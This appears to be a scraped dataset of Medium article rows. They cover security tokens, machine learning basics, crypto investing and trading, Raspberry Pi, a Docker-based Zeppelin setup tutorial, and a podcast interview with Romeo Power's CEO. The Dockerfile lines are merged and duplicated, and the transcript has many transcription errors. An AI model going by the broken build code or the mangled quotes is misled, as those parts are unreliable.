In terms of regulatory compliance, security tokens are subject to SEC regulations and compliant with Federal Securities Laws from day one. Know Your Customer (KYC) and Anti-Money Laundering (AML) compliances will be programmed into security tokens, which will verify the credibility and ability of the investor to purchase and trade security tokens. After purchasing security tokens, accredited investors must wait 90 days to trade with other accredited investors.
Tokenizing Real Estate Private Placements will allow for: | https://medium.com/realblocks-blog/tokenized-real-estate-private-placement-offerings-a69d25252d0d | ['Realblocks Team'] | 2018-08-21 20:21:54.631000+00:00 | ['Crowdfunding', 'Technology', 'Startup', 'Blockchain', 'Real Estate'] |
2,259 | Introduction to AI and Reinforcement Learning | Introduction:
Recently, I’ve been going down an AI Rabbit Hole. It started out by just watching Youtube videos and reading articles, but eventually, I came accross a facet of AI that really, really intrigued, not just because of how interesting the concept is, but also because of the potential uses it may have. It’s known as Reinforcement Learning.
Overview of Artificial Intelligence:
To start, we need to understand what exactly Artificial Intelligence (AI) is. AI is a pretty blanket term — it’s the science of making intelligent machines, especially computer programs. We’re going to go over a subset of AI, machine learning.
Machine learning is basically using a computer system to make accurate and reliable predictions/readings/interpretations of data that the system has been given. The first two types of machine learning were supervised learning and unsupervised learning. (*This is simply an overview of each system — I don’t go too in depth when it comes to the tech used for such methods)
Supervised Learning
Supervised learning is a task-driven form of machine learning. Labelled data is used to train the system, and when new data is presented, the system will be able to make a prediction.
For example, you can feed a system images of cows and chickens, and over time, it will be able to make distinctions. The system creates a function on a graph based on the data in order to predict what output a given input will lead to — you can learn more about how it actually works here. Supervised learning is used for pattern recognition, spam detection, object recognition, etc.
Unsupervised Learning
Unsupervised learning, unlike supervised learning, is data-driven. The system isn’t set out to recognise anything, but to observe. In unsupervised learning, the system is given raw data, and needs to figure out patterns in the data. Essentially, it finds patterns in data and groups said data accordingly.
For example, say there are five red data points and five green data points. The system will recognize that the data points differ in color, and will group them accordingly. Say we add five blue points, and give each of the now 15 points a random number from 1–3. The system will recognize all of these patterns.
Unsupervised learning is mainly for clustering problems, or grouping data. It is also used for anomaly detection — that is, noticing inconsistencies in datasets. This is especially useful for things such as bank transactions.
These were the first two types of machine learning, and they’re both well and good, and pretty useful — but, as Grand Master Yoda said, “There is another.” The third type of machine learning, and perhaps the most interesting (to me, at least), Reinforcement Learning.
Introduction to Reinforcement Learning: | https://medium.com/swlh/introduction-to-ai-and-reinforcement-learning-2f3b35b790e0 | ['Imran Iftikar'] | 2020-11-20 09:57:21.657000+00:00 | ['Artificial Intelligence', 'Reinforcement Learning', 'Technology'] |
2,260 | Investing In Crypto Is As Easy As 1, 2, 3 | Interested in getting started with crypto?
Setting up your first cryptocurrency portfolio is complicated. It takes time and effort to build the knowledge necessary to successfully take advantage of this emerging market. This article will walk you through a 3 step process to get you into crypto for the first time and help you set up a diverse portfolio!
1. Binance
Sign up for a free Binance account.
Select “Funds” on the Navigation Bar → Select “Balances” → Select Deposit on the asset you want to own. This will show a “Deposit Address”. Copy this address so you can use it in the next step.
2. Changelly
Go to Changelly. Select the asset you own. This will be USD for a first time crypto investor.
Then select the asset for which you copied the “Deposit Address” in the previous step.
Follow the steps on Changelly to input your credit card information and the deposit address to complete the purchase. This will send the cryptocurrency you just purchased directly to your Binance exchange account.
3. Shrimpy
Register with Shrimpy for free.
Once logged in, connect your Binance exchange API keys to the Shrimpy application. This process was previously detailed here (note, the design has changed, but the process is the same):
Now, visit the “Allocations” tab. This is where you can select the assets you would like to own and specify the percent of each asset you wish to own.
You are now set up!
You have successfully created your first cryptocurrency portfolio. In order to deposit more funds, simply revisit the “Changelly” link above and repeat the deposit process. | https://medium.com/hackernoon/investing-in-crypto-is-as-easy-as-1-2-3-827a670e9738 | [] | 2018-08-22 18:28:29.521000+00:00 | ['Technology', 'Blockchain', 'Investing', 'Cryptocurrency', 'Bitcoin'] |
2,261 | Raspberry Pi : Agent of Change. The Raspberry Pi project reminds us… | Unanticipated success
The idea seems to have worked — and then some. Initial demand saw several hundred people a second registering interest with production partners of the project. Over the first weeks, over two million people pre-ordered the tiny computers — many were caught up in the excitement and had no idea what they might use the computers for — they still don’t know.
The success of the Raspberry Pi caught everybody off guard — spawning school computer programming clubs, an explosion in the “maker” community, and copy-cat hardware projects throughout the world. This year has seen the launch of the “Raspberry Pi 400” — a return to the 8 bit form factor roots of those who flagged the skills gap and designed the Pi. It has sold-out almost everywhere in the run-up to Christmas. | https://medium.com/the-shadow/raspberry-pi-agent-of-change-5a42c76bbc2f | ['Jonathan Beckett'] | 2021-02-07 06:23:37.712000+00:00 | ['Artificial Intelligence', 'Skills', 'Future', 'Computers', 'Technology'] |
2,262 | Avoid These Common Cryptocurrency Trading Mistakes | It’s easy to create an account on Coinbase, Binance, or one of the many other cryptocurrency exchanges and start day-trading. In fact, it’s too easy, because it creates a false sense of confidence & security that may lead to making poor decisions with your money.
1. Crypto Trading Is Very Risky
Long-term bitcoin trend from CoinMarketCap
So starting out, my first piece of advice is to realize that cryptocurrency speculation is inherently a gamble, so don’t invest money you can’t afford to lose. The crypto market is highly volatile, and coin prices rise & fall on sometimes an hourly basis, driven by hype, news coverage, and a dozen other factors.
In the long-term chart for Bitcoin shown above, you can see massive gains & losses in value over a period of months that speculators can profit from. What you don’t see on this chart are the daily ups & downs that affect short-term day-traders, and that can be really dangerous. | https://medium.com/crypto-spotlight/avoid-these-common-cryptocurrency-trading-mistakes-462d4078a3e4 | ['Tim Ventura'] | 2019-12-10 23:45:28.966000+00:00 | ['Technology', 'Trading', 'Cryptocurrency', 'Bitcoin', 'Crypto Market'] |
2,263 | Soaring with Zeppelin | Step 1: Cluster-in-a-box
Although Spark works quite well running locally on a single machine, to simulate more production-like environments I have been working on set of Docker images and shell scripts which produce a completely containerised Spark cluster that can run on a single machine.
Cluster-in-a-box comprises a nine node Spark cluster (one of which also runs as the HDFS NameNode and YARN ResourceManager), a Cassandra database, Kafka message broker and SkyDNS powered service discovery mechanism. You can get started with cluster-in-a-box by cloning my Git repository, or downloading a release.
Note that, in this instance, we are checking out the repository with the tag no-zeppelin. This is because cluster-in-a-box already contains Zeppelin, and cheating is bad.
Assuming you have Docker running, you can start the cluster by using the start-all.sh script. This will pull all the required images from my Docker Hub and boot them up.
./start-all.sh
If you don’t have a Docker environment available to you, I highly recommend CoreOS although you can do this in most Docker environments (one exception is Boot2docker which unfortunately does not play nice with the way the script configures SkyDock).
If you would like to give the cluster a quick test to make sure the nodes are finding each other, you can docker exec yourself a Spark shell for that purpose:
docker exec -ti spark-1 bin/spark-shell --master yarn-client
And then once Spark is ready:
scala> sc.parallelize(Array(1, 2, 3, 4)).sum
Step 2: Build the Zeppelin Docker Image
There are two ways to build an image in Docker. The first is to start a base image with docker run and make any desired changes to it using the shell of that container, committing them back when desired. I don’t like that method (I am not alone) and prefer the cleanness of Dockerfiles. Dockerfiles declaratively specify exactly which commands to execute to get an image to its desired state. This also usually leans to leaner Docker images without too many redundant layers.
So without further ado, I present the start of the Dockerfile for our Zeppelin instance:
MAINTAINER Chris Hawkins < FROM chrishawkins/spark-slaveMAINTAINER Chris Hawkins < [email protected] # Updates & Install Prerequisites
RUN apt-get update && apt-get upgrade -y && apt-get install -y wget curl npm git WORKDIR /tmp/
RUN wget # Maven 3.1 InstallRUN wget http://download.nextag.com/apache/maven/maven-3/3.3.3/binaries/apache-maven-3.3.3-bin.tar.gz && \ tar -xzvf apache-maven-3.3.3-bin.tar.gz -C /usr/local && \ ln -s /usr/local/apache-maven-3.3.3 /usr/local/apache-maven && \ ln -s /usr/local/apache-maven/bin/mvn /usr/local/bin/mvn && \ echo “export M2_HOME=/usr/local/apache-maven” >> /etc/profile.d/apache-maven.sh
We start off by using the spark-slave image that already contains Hadoop, Spark and the configuration necessary for everything to find each other. We then run some system updates and install wget, curl, npm and git. We use wget to pull down Maven 3.3 (which is required by Zeppelin but isn’t available in the Ubuntu software repositories as of yet).
RUN git clone — branch branch-0.5 RUN mkdir zeppelinRUN git clone — branch branch-0.5 https://github.com/apache/incubator-zeppelin.git zeppelin WORKDIR /tmp/zeppelin
RUN mvn clean package -Dspark.version=1.3.0 -Pspark-1.3 -Dhadoop.version=2.6.0 -Phadoop-2.4 -Pyarn -DskipTests
Here we make a directory for Zeppelin under /tmp and grab the 0.5 release from Github. We then use Maven to build it passing in the specific versions relevant for our cluster-in-a-box environment.
Zeppelin runs on port 8080 with a WebSocket connection to port 8081, so in the Dockerfile we expose those ports and add some additional configuration files.
EXPOSE 8080 8081 ADD zeppelin-env.sh conf/zeppelin-env.sh
ADD zeppelin-site.xml conf/zeppelin-site.xml
ADD startup.sh startup.sh CMD ./startup.sh
Finally we set the startup.sh script to run when the container is launched. The configuration files can be found below:
zeppelin-env.sh
export SPARK_HOME=/usr/local/spark
export HADOOP_HOME=/usr/local/hadoop
export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop
export MASTER=yarn-client
Zeppelin-env.sh provides some environment variables that tell Zeppelin where to find Spark and Hadoop. We also set the default Spark master to use a YARN in client mode. You can find a template here.
zeppelin-site.xml
<?xml version=”1.0"?>
<?xml-stylesheet type=”text/xsl” href=”configuration.xsl”?> <configuration> <property>
<name>zeppelin.server.addr</name>
<value>0.0.0.0</value>
<description>Server address</description>
</property> </configuration>
In zeppelin-site.xml we set the hostname to 0.0.0.0 so that we can bind our internal ports to external ports when we run the container and not have to worry about hostname mismatches. There is a template here if you want to explore your other options.
Finally we’re ready to build our image and run our container:
./build.sh
./run.sh
A Word on Running Zeppelin
As I mentioned briefly earlier in the piece, cluster-in-a-box uses SkyDNS for service discovery. Therefore, you’ll notice that run.sh does a little bit more than just running the container. First it locates the IP address of the Docker host, which SkyDNS and SkyDock are bound to, then it runs the container passing in the DNS server on the way. For more information on the ins-and-outs of using SkyDock for service discovery check out its README here.
Step 3: Try Zeppelin
Once Zeppelin is running you can navigate to port 9123 on your host machine to check it out. | https://medium.com/apache-zeppelin-stories/soaring-with-zeppelin-7b70e55a8177 | ['Chris Hawkins'] | 2016-09-29 01:57:47.246000+00:00 | ['downloading a release', 'Spark', 'Docker', 'Technology'] |
2,264 | Bigger Than Us#116: Charging the Electrification Decade | Bigger Than Us#116: Charging the Electrification Decade
Lionel is an accomplished Product Management Leader with expertise in Operations Management, Financial Management (Profit & Loss, Balance Sheet, Cash Flow), Lean Six Sigma, Supplier Development, Strategic Sourcing and Product Quality Management. His experience spans General Electric where he graduated from the highly regarded Operations Management Leadership Program (OMLP) and owned Profit & Loss Responsibility as Manufacturing Shop Operations Manager of a High Volume Production Facility and three Fast Moving Innovative Start Ups (SpaceX, Faraday Future & Romeo Power) where he has held various roles including Director of Procurement, Vice President of Engineering and Chief Operating Officer. Lionel holds a B.Sc. in Mechanical Engineering from Syracuse University and an MPS in Supply Chain Management from Penn State University.
Bigger Than Us Episode 116
This transcription has been lightly edited for readability.
Host Raj Daniels 02:22
If you are asked to share something interesting about yourself, what would it be?
Lionel Selwood, Jr. 02:26
It would be that I am an avid musician. My primary instruments are percussion but I write dabbling, some singing, and some poetry so that’s something interesting about myself that I love to share. So love music outside of work.
Host Raj Daniels 02:42
Have you published any work?
Lionel Selwood, Jr. 02:44
No, I’m in the in not publish any more in the background. You can hear my recordings and some of the rising stars US Steel orchestra music that’s out on iTunes or some of the other music platforms, but that’s about it.
Host Raj Daniels 03:02
And you said percussion, percussion is very broad. Anything particular?
Lionel Selwood, Jr. 03:06
My specialty is drums.
Host Raj Daniels 03:09
And in drums, can you narrow down?
Lionel Selwood, Jr. 03:12
Drum set, I do bongos I do congas. Timbales, you name it I do it. If you can make a beat out of it with any of your limbs, call me.
Host Raj Daniels 03:27
I have a video of my daughter when she was about seven years old with Home Depot buckets turned upside down if he’s playing on them.
Lionel Selwood, Jr. 03:33
That’s awesome. And if you Google me, I there’s actually a YouTube video of me when I was at Syracuse University, where they did a feature on me while I was in Syracuse University marching band. That’ll give you a flavor of how much I love to perform. If you just see my joy, you know, as I’m performing for the fans.
Host Raj Daniels 03:50
What led you to the drums?
Lionel Selwood, Jr. 03:55
What led me to the drums was really my grandfather. He’s always had music playing around the home. And I would always be tapping. And I just loved making a rhythm. So just listening to music. And just coming forward. I said, look, I want to learn how to do this properly and be really good at it. So that’s why I’m actually known for throughout, the Virgin Islands, in addition to you know what we’ll talk about that Romeo Power. But that’s what led me into it.
Host Raj Daniels 04:24
That’s a beautiful storyline. Oh, thank you for sharing. So Lionel, since you mentioned Romeo Power. Can you give the audience an overview of Romeo Power and your role at the organization?
Lionel Selwood, Jr. 04:37
I’m the president and chief executive officer at Romeo power. We are a leading-edge battery technology company. And our mission is to advance energy technology. And our vision is to end energy poverty. So really, and truly everybody that’s working at Romeo Power so hard on a daily basis, but all about making green energy accessible to all 8 billion people across the globe.
So right now, we’re really focused on the commercial vehicle market. Really, we have some great partnerships that we’ve been announcing and been talking about over the past couple of weeks since our announcement of the spec merger. So we’re really focused on gaining share in that market, while also seeding other industries such as marine, aviation and mining. So, Raj, we have a real what we say our industry agnostic product portfolio, and we really like to dive into and give our customers the most safe, most reliable, most energy-dense, and most configurable offering, no matter the industry. So that’s what we’re really about. And it’s all in the vein of again, this ending that energy poverty.
So our premise is put the best products in the hands of customers reinvest the profits into making the product even more insanely better, better than our competitors, into delighting our customers, to bring the cost down to a point where we can either do second life offerings or even some energy storage platforms, to areas that are really, really screaming for green energy.
Host Raj Daniels 06:18
So you mentioned competitors, obviously, the big ones in the room are Panasonic, Tesla. Can you share how Romeo differentiates from those two?
Lionel Selwood, Jr. 06:25
So we differentiate again, just from we do the tough stuff, okay, so the reason we are focused on the commercial vehicle market is because if you’re a fleet manager, you don’t want any compromises in ROI, or profit per mile. And that’s the way we’ve always designed. So we break everything in house before it goes on road, like I said, to make sure it’s the most safe and most reliable, our configurability is second to none. So within our products, we support anything as low as 300 volts, to as high as more than 1000 volts in the same pack offering. Okay, so this really allows our customers to put their vehicles on the road, sometimes 18 to 24 months quicker than our competitors. Because compared to competitors, if you have to switch your voltage level, midstream, you’re looking at a redesign with our competitors, rather than us, we’re changing our one part, which is our current collector technology, and shipping you essentially the same product.
So those are some of the ways we differentiate ourselves, really focusing on safety, reliability, configurability, and energy density.
Host Raj Daniels 07:35
So you mentioned configurability, if I’m understanding correctly, and please correct me if I’m wrong, they can use the same chassis, but just changed the power output. Is that correct?
Lionel Selwood, Jr. 07:44
Yes, change the chassis, change the voltage to support a different system level. So for example, one of our partners with the pack that we partner with them on, could support 405 volts, 805 volts, and 1000 volts, all within the same pack. We just changed one current collector, for example. And also we use the configurable mantra. So we use a strategy that we call the building block approach. So for example, we have packs as small as 30-kilowatt hours, for example. So some of our customers, they’ll say, hey, on this vehicle, I want 660-kilowatt hours. So obviously, that’s two. But on the other vehicle, I want larger than that, where there’s 120. And going so all you do is scale up and down your needs based upon the capacity building block that we offer.
Host Raj Daniels 08:39
And so when they’re making decisions regarding the different battery packs, you mentioned use cases, can you give some use cases of what kinds of vehicles?
Lionel Selwood, Jr. 08:47
We supply into any of the commercial vehicle space. So our portfolio covers anywhere from a class three, all the way up to severe duty class eight. So anywhere within that realm. Why the customers love working with us is if you’re a customer, you have six or seven different vehicle platforms, for the first time really you have a one-stop shop in Romeo Power, because we support your minibusses, your school buses. If you have a severe duty trash truck or cement truck, are we up to a long haul under one roof at Romeo. we could support all of those vehicles for you.
Host Raj Daniels 09:23
And you mentioned also marine aviation and mining. Can you kind of dig deeper a little bit into those three?
Lionel Selwood, Jr. 09:33
First and foremost, we worked on a battery management system because we to us that the firmware is as important or even more important than the hardware. But what we did with the hardware is we wanted to create an industry-agnostic portfolio as I mentioned in the opening, and what we did is really focused on developing our module. Our module is set up in a way where at the module level, you have a huge portion of the battery management system, you have structural integrity, for example, Raj our module can do 25 G’s in any direction at the module level, which simplifies the pack level design and also the vehicle level design.
We have the configurability of the current collector technology that I taught that I talked to you about. So, our module has eight different voltage variants that are possible with our module architecture. Also, you have integrated thermal management. So we have a proprietary thermal management technology that allows us to keep our temperatures across the entire battery pack less than 40 degrees C. It’s actually tighter than that but less than 40 degrees C is what we tell the market, our customers are delighted with how much tighter we can keep it.
So my point to you is since we put so much secret sauce and so much competitive advantage into the module that really allows us to go after these additional markets that are kind of behind in terms of the adoption. So our Orion platform, for example, the same Orion platforms that are going into commercial vehicles are already in electric vehicles, for example, that’s testing fine. And without going into marine applications, as well as some mining operations with the same Orion battery pack platform, which is the goal from the beginning.
That’s why I see this as the electrification decade because you have us at the center being the nucleus of this electrification decade. And everyone is finally ready, and right to take this thing forward as an entire value chain.
Host Raj Daniels 11:27
So let’s talk about thermal management for a moment. How is your battery pack different from the competitors I mentioned earlier, specifically around thermal management?
Lionel Selwood, Jr. 11:40
First and foremost, what I talked to you about is we don’t make the battery cells, but we make it our business to know as much or more than make up the cells. So we have a battery cell test laboratory, where we’ve tested upwards of 200 cells and counting from 10 different players and counting. So we can tell you who is the best now, who is up next, and who is a few years out in terms of safety, reliability, and innovation. Okay, so we really, really, and truly start with the cell selection as the gambit. Raj, I like to say that anybody that says a cell is a commodity, they are absolutely missing the mark, they are not. They are not created equal. And the cell that you pick and put into your product is extremely critical.
But after that, from a trauma management standpoint, like I said, our technology allows us to keep that temperature difference less than 40 degrees C across the entire platform, which essentially gives the cells a home where that feeling great allows you to fast charger, a charge faster, allows you to manage the degradation of the battery over time, etc. So that’s how it really defaults. And again, that’s all integrated into our module. Technology with auto is it’s not really integrated, other than some, you know, a critical few players to…management is extremely, extremely important and is one of our key differentiating factors.
Host Raj Daniels 13:13
So I’m not an expert by any means. But I’m understanding that yours is driven via software, whereas some others might be driven via some kind of liquid cooling? Is that correct?
Lionel Selwood, Jr. 13:23
It’s a combination, right. So if you ask me, oh, what’s the one thing it’s not one thing. So inside Romeo outside, we touched on the battery cells a little bit but outside of not making the battery cells. We have every other competency from the battery value chain standpoint inside of Romeo. So from the battery management system standpoint, we do that all in house. From that we write our own code. And on the hardware side, we pick our own components size. The board’s even designed the test apparatuses, before sending them out to our PCB partners. So we have a fully enclosed by the management system team, fully enclosed electromechanical engineering, structural engineering, thermal engineering, and even down to mass production. So it’s a combination of all of those things. There have been all of those competencies inside Romeo allows us to design beyond the battery. So our product offerings can walk with any power train, any integrator, any OEM, any fleet manager. And the reason we did that is because we did not want to be beholden to any one customer and anyone partner. Having those competencies inside allows us to open the floodgates in terms of addressable market and opportunity for Romeo.
Host Raj Daniels 14:46
Sounds like a great strategy. Let’s double click on aviation for a moment. Where do you think we are before we see fully electric?
Lionel Selwood, Jr. 14:52
We’re a ways out from it, I’m not going to put a time a timeline on it. And the vehicle side, I call this the electrification decade. I really do believe that between 2020 and 2030, we’re going to see some amazing things on the vehicle side. Now I know in our aviation business, there’s billions of dollars being spent there from an electrification innovation standpoint, they’re a ways out. So what we’ve been doing is developing partnerships early, getting our partners standing behind our technology, and essentially growing with them from an innovation standpoint. So when they are ready to electrify the masses, we will be right there with them. So between let’s say, now and ’25 Look, you will see electrified flights, you know, test fleets doing all of that, so you will see that, so within the electrification decade, as we call it, you’ll see advances in the aviation standpoint, but mass adoption for commercialization. I think you’re a couple of your ways out even farther than the electrification decade. From what I’m seeing today.
I’ve lived needing that energy. If I had that energy, I could have read another book, I could have did something more productive, or I could run my business more, or I could get some predict productivity out. So I’m speaking because I grew up with that. I grew up impoverished from the energy standpoint.
Host Raj Daniels 16:05
It sounds like an exciting future. I recently interviewed one of the founders of Rewiring America. And he feels the same way regarding this being the decade of electrification.
Lionel Selwood, Jr. 16:15
It truly is. And especially at Romeo. Look, we have let’s talk about some tailwinds. Especially at Romeo Power, and I’m excited about as a CEO of the company. So besides the industry, agnostic market, leading battery technology portfolio, we have some key strategic partnerships that, if you allow me some time to touch on, right, so we have a great partnership with BorgWarner. So that the Wisco high growth business plan really allows us to continue optimizing our manufacturing system, get cost downs in our supply base, and really focus on getting a share in the European and Asian markets.
Then we have Heritage Environmental, which we have a battery cycling, Second Life partnership that we’re very excited about. And standing up was part of that partnership. Heritage is going to electrify a minimum of 500 vehicles with Romeo Power technology insight. So again, that’s that will give us the opportunity to work with a myriad of OEM partners to really be in this pilot program and participate in the production portion of it. So you got the recycling portion, and you have any electrification portion. And then we have our partnership with Republic Services, which is a strategic investor in Romeo Power, and the intent is to partner with them on a myriad of energy initiatives for decades to come. So we have leading-edge technology, amazing partnerships. But then as you look, you know better than most you have the regulatory tailwinds anywhere from California to 12 plus US states, to the European Union, and even China. There’s mandates that saying, look, you have to electrify especially from the commercial vehicle standpoint. And if that’s not enough, we also have the other tailwinds of the fleet managers, and or the original equipment manufacturers committed to really driving the electrification strategies forward.
That’s why I see this as the electrification decade because you have us at the center being the nucleus of this electrification decade. And everyone is finally ready, and right to take this thing forward as an entire value chain.
Host Raj Daniels 18:29
So let’s add some clarity to the three things that you said. First of all, I’m familiar with BorgWarner, because I used to be in the automotive industry about 20 years ago, but for those that are not familiar, can you share a little bit about BorgWarner?
Lionel Selwood, Jr. 18:41
So BorgWarner is a multi-billion-dollar company that’s really reputable in the automotive space. They have a myriad of products and they just closed their acquisition of Delphi. But anyway, for the motor, gearbox, onboard charger, power, electronics, etc. They have an offering for okay and board one has much I don’t want to speak to speak for Fred, the CEO of BorgWarner. But essentially, they are really set up well, to take advantage of however the war shakes out. So they’re in a prime position to continue being a cutting edge ICE component provider, a cutting edge hybrid provider, and with the partnership with us a cutting edge electrification provider.
So Raj, if you look at it, just zooming out a little bit with BorgWarner closing the acquisition of Delphi BorgWarner, Delphi, which is part of one or Romeo Power, you have Romeo Power battery, technology, battery management system and packs within BorgWarner. Delphi is probably like electronics, gearbox motors, inverters, onboard chargers and off-board chargers. We have the ability to put forth a really compelling power train offering. So I think that’s something that’s being not talked about enough. But that’s part of our strategy together.
Host Raj Daniels 20:10
And for those of you listening, if you drive any European car, there’s an extremely high probability, there are BorgWarner parts in that car. And you also mentioned Second Life offerings. Can you break that down a little bit?
Lionel Selwood, Jr. 20:23
Sure. So at Heritage Environmental is two things. So we have, we have a recycling partnership, which I’ll touch on real quick. More than 90% of the materials in the battery value chain today is not recycled. Okay, so we have as a strategy and a goal with our partnership with Heritage Environmental is really having that be zero percent, we want all materials, be able to be recycled, put back into the front of the process, and producing high performing battery cells, battery modules, battery packs. So we’re very excited about that.
From the recycling standpoint, Heritage Environmental has some proprietary recycling methods that they currently employ, and will continue to develop over time. So the recycling portion, that’s our partnership, and so on the second life. So we design our product with end of life in mind. Why is that important? That’s important, because as we’re with our partners, at the end of life of the vehicle, if you will, let’s say that’s what seven or 10 years, we’ll have a lot of juice if you will let will have a high percentage of battery retention, and then you get into several things. So with our offerings, we can either take that, instead of recycling it with so much value left in it, we can power some buildings, for example, we could take a bunch of commercial vehicle batteries, string them together in kind of a decentralized grid. Also, we can leave it in the vehicle and maybe do some vehicle to grid application as well.
Let’s say another example, Raj, let’s say you own a big construction firm, you’re on a job site for two to three months, and you just need a small battery bank available for some backup power, you could use the battery packs for that as well. Okay, there’s also leasing models that may come into play, because there’s so much capacity left. So my point is, when we say Second Life, it will depend, and especially the way we design our product, there’s a lot of ways that our batteries can take on a fruitful Second Life after coming out of the vehicle initially.
Host Raj Daniels 22:44
You know, I love that view regarding end of life. Is that your supply chain background that gives you that vision for end of life?
Lionel Selwood, Jr. 22:51
No, it’s not my supply chain background is actually my background coming up. Growing up in St. Thomas, US Virgin Islands. Going back to you know why I’m doing. So I started this to make sure you know, my grandmother has light every day. So one thing I’ll talk about, even today in the Virgin Islands, electricity can go off for up to 18 hours a day, even today, and that’s the US Virgin Islands, by the way. So I grew up in a world where you know, the electricity going off is an expectation. And it hasn’t got better. I’m talking about from the time I’m a kid to even now. Right? So that came from me trying to understand how can we help ensure electricity in the hands of people that need it? So whenever I talk about this, normally people think about I’m not saying you know, I don’t think it’s right.
But most people say oh, well, let’s talk about Africa, these other places that don’t have it. While I want your viewers to know that there’s an energy throughout some of the Caribbean, including the US Virgin Islands, and that’s what’s really driving because I’ve lived it. I’ve lived needing that energy. If I had that energy, I could have read another book, I could have did something more productive, or I could run my business more, or I could get some predict productivity out. So I’m speaking because I grew up with that. I grew up impoverished from the energy standpoint. And that’s where the end of life thinking came from.
Host Raj Daniels
That is really interesting. And you know, you mentioned the islands. I’ve had the pleasure of interviewing several people that have done work in the islands. And one of the things that I didn’t realize initially and you know, others might not too, is just the sheer cost of energy that set the islands because they don’t actually produce everything has to be imported.
Lionel Selwood, Jr.
Yes, right, Raj. And, you know, I apologize if this stat is off, but if we stated, I am pretty sure we would be in the top three to five most expensive states in the United States of America if we were a state, but we’re a territory. So it is terrible. And that’s, that’s what’s really driving the energy poverty, the ending energy poverty, and I’m really serious about it. And everyone that walks in the door on the first day, if I’m in the facility as they’re going through their onboarding, you know, I impart and everybody our mission and vision. We’ll be busy with commercial vehicles, we got to execute continue on in the business of our partners continue being the safest, most reliable, most energy-dense, most configurable offering. But that’s not the end-all, be all. We’re all recent, and trying to get better on a daily basis. So that my son doesn’t have to sit down and talk to Raj or you know, who comes after about the same challenges that we’re talking about.
Host Raj Daniels 25:53
You know, I like that vision. And I like to play a game, you know, magic 2025, 2030. But kind of walk me through, you know, in your mind, let’s say, Romeo is able to help end energy poverty, what does that roadmap look like?
Lionel Selwood, Jr. 26:13
This is a multi-generational endeavor. Okay, so let me make sure I say that. So the magic one, over the next five to 10 years, we’re going to be busy, mostly with the commercial vehicle sector. Okay. So I think more than 70% of commerce is done by truck if I’m not mistaken. So we’re really going to be focused there and performing in this sector. But like you and I talked about at the top of the program, with silently seeding, that the next frontiers, if you will, the aviation, the marine, the mining apparatuses are industries as well. So you will see us really starting those industries starting to take off with our product inside of it.
So what you’ll see over the next five to 10, as I sit as a CEO of the company, is significant market share from the commercial vehicle space from an electrification standpoint, and significant and growing share also, in what we see as the frontier industries is what we call them, which is, again, the marine, aviation, mining, etc. So you see us being busy, not only with what we have today, we have some exciting innovations that will be executed upon within the next five to 10 years that you’ll see play a hand in us continue to take market share. And as part of the internet energy poverty, as we become a self-sustaining business, you’re really good to see us be some more filling traffic efforts, as as we go over the next five to 10 years as well. So whether that’s again, taking batteries that I have in the field, and let’s say deploying it in the Virgin Islands, or deploying it somewhere that’s needed. So being really selective and pointed about advancing our vision, the mission advancing and energy technology that’s happening every day, that’s inherent innovation is what we do.
But to get the eight ball moving towards the end in energy, poverty, you’ll see us really being pointed about maybe some philanthropic efforts are standing up or energy storage business in pointed locations across the globe.
Host Raj Daniels 28:27
Now, you mentioned your grandmother earlier, and some of the challenges you had growing up. And the question I have is, how do you balance taking a multi-generational viewpoint and maintaining, you know, tactical goals on a daily basis?
Lionel Selwood, Jr. 28:44
Sure. So that comes with mentality. So first and foremost, the fact that I’m talking to you, Raj, is amazing to me. So let me say, let me say that I don’t come from a place where this was supposed to happen, or I have the privilege of talking to you. As a CEO of the company, it comes from one being grounded in that fact. Okay, really thinking about? How did I get here, meaning, really standing on the shoulders of giants, I mean, anywhere from my grandmother to my wife to my mentors, right? So being grounded in that first and foremost, to be able to stand up straight and assess, but how you do it is look, you got to perform. You have to be able to connect the dots and see, okay, you’re trying to end energy poverty, the way you actually make headwinds in doing that is becoming a self-sustaining business.
The way you become a self-sustaining business is to make sure you’re claiming your strategy. Make sure you’re extremely clear in the short, medium and long term goals that need to be executed in order to reach them. So I like to say I’m always at least 10 years ahead. Okay. And that’s what I need to know and plan out. How do I get to that 10 years?
So right, something I’ll tell you is my first day in General Electric, they were going around the table. And they were saying, what do you want to be? What do you want to be? When it got to me? I said I want to be the chief executive of General Electric. I mean, seriously, it’s probably crazy at the time. And obviously, I’m not the CEO, of General Electric. But you know, what I’m the CEO of a company, I said, is the nucleus of electrification. And we’re really going to be on the leading edge of green energy accessibility. So my point to you is I set that goal. And I charted out how to get there. And nobody’s perfect, right. But you have to be able to clearly see what the playing field is, how do you get to be in a self-sustaining business? And it’s all in the vein of your multi-generational endeavor. That’s how I look at it.
Go beyond your title. First, do your job really well. Really, really well. But go beyond it. It is not enough to say that’s not my job. If that’s not my job, at a minimum, your job is to connect with the person whose job it is if you truly feel that way, and come to a common ground, how you move forward, collectively…
Host Raj Daniels 30:59
That’s a beautiful way to look at it. You mentioned GE. You’ve got some very impressive logos on your resume, GE, SpaceX, Faraday, what are some of the most valuable lessons that you’d say you’ve learned about yourself on your journey?
Lionel Selwood, Jr. 31:17
I’ll give you a couple. In terms of resiliency, and adaptability is a must. So I’m extremely resilient and extremely adaptable. That’s, that’s the first, first and foremost I learn about myself on this journey. The second is impossible is nothing. So not only coming up, and just my family, my grandmother again, just jiving look, you can be anything you want to be, you just need to apply yourself. And you’re gonna make some sacrifices along the way. But it really in my professional life, it really came full circle when, you know, I worked at SpaceX. And that’s where we realize, you know, impossible is nothing. The reason that rocket lands, the way it takes off is rough because of the way it does in the Jetsons, for example. Right. So if you think about that, the first time, I mean, Elon for decades now, right, since 2000, was saying, look, SpaceX is gonna is really good to just revolutionize the space industry. They were laughing at him. But you know what? He did it.
So as I was in that environment, by an Elon run company. That’s when I really figured out that, hey, don’t say cat, take cash out of it. You need to break things into first principles, learn it and figure out how you make it better. The minute you say, can’t you put in a mental roadblock in front of what you’re trying to do. That’s not negativity, that’s not you being unrealistic. Well, you need to be realistic about is you need to look yourself in the mirror and see how much chokeholds and handcuffs you’re putting on yourself, preventing you from breaking out. So that’s one thing I learned about myself that I really believe on embody impossible, is not in.
